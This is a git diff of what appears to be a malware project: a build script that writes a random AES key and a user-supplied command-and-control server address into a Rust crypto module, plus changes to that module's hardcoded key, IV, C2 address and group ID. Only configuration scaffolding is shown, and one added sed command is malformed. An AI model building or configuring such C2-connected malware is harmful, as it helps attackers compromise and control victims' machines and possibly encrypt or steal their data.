diff --git a/build.sh b/build.sh
index 15b1d44..12fd4af 100644
--- a/build.sh
+++ b/build.sh
@@ -5,9 +5,10 @@ echo "[!] Preparing..."
 cp src/crypto.rs src/crypto.rs.bak
 echo "[i] Replacing key with random data."
 export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
-sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
+sed -i -e "s/tobereplacedbybuildscript/$KEY/g" src/crypto.rs
 read -p "C2 Server Address: " C2ADDR
 sed -i -e "s/c2serveraddr/$C2ADDR/g" src/crypto.rs
+sed -i -e "s/4444/$RANDOM" src/crypto.rs
 echo "[!] Source ready."
 PS3='Please select option:'
 options=("Windows" "Linux" "Both" "Quit")
diff --git a/src/crypto.rs b/src/crypto.rs
index 0157080..71d52f7 100644
--- a/src/crypto.rs
+++ b/src/crypto.rs
@@ -18,7 +18,7 @@ use reqwest::blocking::{Client, Request};
 
 type Aes256Cbc = Cbc<Aes256, Pkcs7>;
 
-const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
+const KEY: &[u8] = b"tobereplacedbybuildscript";
 const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
 const C2ADDR: &str = "c2serveraddr";
 const GID: i32 = 4444;